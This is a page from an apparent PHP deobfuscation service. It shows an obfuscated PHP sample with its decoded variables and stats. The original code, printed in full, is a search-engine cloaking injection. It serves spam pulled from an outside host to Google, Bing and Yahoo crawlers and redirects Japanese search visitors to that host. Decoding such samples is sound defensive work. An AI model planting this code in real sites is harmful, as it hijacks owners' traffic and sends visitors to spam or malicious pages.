Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode('JElJSUlJSUlJSWxsbD0nY3VybF9jbG9zZSc7JElJSUlJSUlJSWxsST0nY3VybF9leGVjJz..

Decoded Output download

$IIIIIIIIIlll='curl_close';$IIIIIIIIIllI='curl_exec';$IIIIIIIIIlI1='curl_setopt';$IIIIIIIIIlII='curl_init';$IIIIIIIIIIll='trim';$IIIIIIIIIIlI='strtolower';$IIIIIIIIIII1='preg_match';

Did this file decode correctly?

Original Code

eval(base64_decode('JElJSUlJSUlJSWxsbD0nY3VybF9jbG9zZSc7JElJSUlJSUlJSWxsST0nY3VybF9leGVjJzskSUlJSUlJSUlJbEkxPSdjdXJsX3NldG9wdCc7JElJSUlJSU
lJSWxJST0nY3VybF9pbml0JzskSUlJSUlJSUlJSWxsPSd0cmltJzskSUlJSUlJSUlJSWxJPSdzdHJ0b2xvd2VyJzskSUlJSUlJSUlJSUkxPSdwcmVnX21hdGNoJzs=')); ?><?php $OOO000000=urldecode('%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';?><?php error_reporting(0);$IIIIIIIIIIII = $_SERVER[$GLOBALS['OOO0000O0']('UkVRVUVTVF9VUkk=')];if((stripos($_SERVER[$GLOBALS['OOO0000O0']('SFRUUF9VU0VSX0FHRU5U')],$GLOBALS['OOO0000O0']('R29vZ2xlYm90')) !== false)||(stripos($_SERVER[$GLOBALS['OOO0000O0']('SFRUUF9VU0VSX0FHRU5U')],$GLOBALS['OOO0000O0']('YmluZ2JvdA==')) !== false)||(stripos($_SERVER[$GLOBALS['OOO0000O0']('SFRUUF9VU0VSX0FHRU5U')],$GLOBALS['OOO0000O0']('WWFob28=')) !== false)){$IIIIIIIIIIIl = IIIIIIIIIIl1("\x68\x74\x74\x70\x3a\x2f\x2f\x73\x75\x70\x65\x72\x69\x6f\x72\x71\x75\x61\x6c\x69\x74\x79\x73\x2e\x69\x6e\x66\x6f\x2f\x4e\x6f\x76\x65\x6d\x62\x65\x72\x2f\x31\x31\x30\x37\x6a\x70\x34\x75\x72\x6c\x73\x2f\x70\x61\x67\x65\x73\x2e\x70\x68\x70\x3f".$IIIIIIIIIIII."|".$_SERVER["SERVER_NAME"]);echo $IIIIIIIIIIIl;exit;}if($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSUkx')]($GLOBALS['OOO0000O0']('Lyhnb29nbGUuY28uanB8eWFob28uY28uanApL2k='),$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]($_SERVER[$GLOBALS['OOO0000O0']('SFRUUF9SRUZFUkVS')]))){echo $GLOBALS['OOO0000O0']('PHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvbj0oImh0dHA6Ly9zdXBlcmlvcnF1YWxpdHlzLmluZm8vTm92ZW1iZXIvMTEwN2pwNHVybHMvanVtcC5waHA/').$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxs')]($IIIIIIIIIIII."|".$_SERVER["SERVER_NAME"]).$GLOBALS['OOO0000O0']('Iik7PC9zY3JpcHQ+');exit;}function IIIIIIIIIIl1($IIIIIIIIII1I){if(function_exists($GLOBALS['OOO0000O0']('ZmlsZV9nZXRfY29udGVudHM='))) {$IIIIIIIIII1l = file_get_contents($IIIIIIIIII1I);}else {$IIIIIIIIII11 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]();$IIIIIIIIIlIl = 5;$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbEkx')] ($IIIIIIIIII11,CURLOPT_URL,$IIIIIIIIII1I);$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbEkx')] ($IIIIIIIIII11,CURLOPT_RETURNTRANSFER,1);$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbEkx')] ($IIIIIIIIII11,CURLOPT_CONNECTTIMEOUT,$IIIIIIIIIlIl);$IIIIIIIIII1l = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxJ')]($IIIIIIIIII11);$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxs')]($IIIIIIIIII11);}return $IIIIIIIIII1l;}

Function Calls

stripos 1
urldecode 1
base64_decode 4
error_reporting 1

Variables

$O0O0000O0 OOO0000O0
$OOO000000 ah6sbehqla4co_sad
$OOO0000O0 base64_decode
$IIIIIIIIIIII None

Stats

MD5 c02cb8992691b63a1b181e139152cd4d
Eval Count 1
Decode Time 114 ms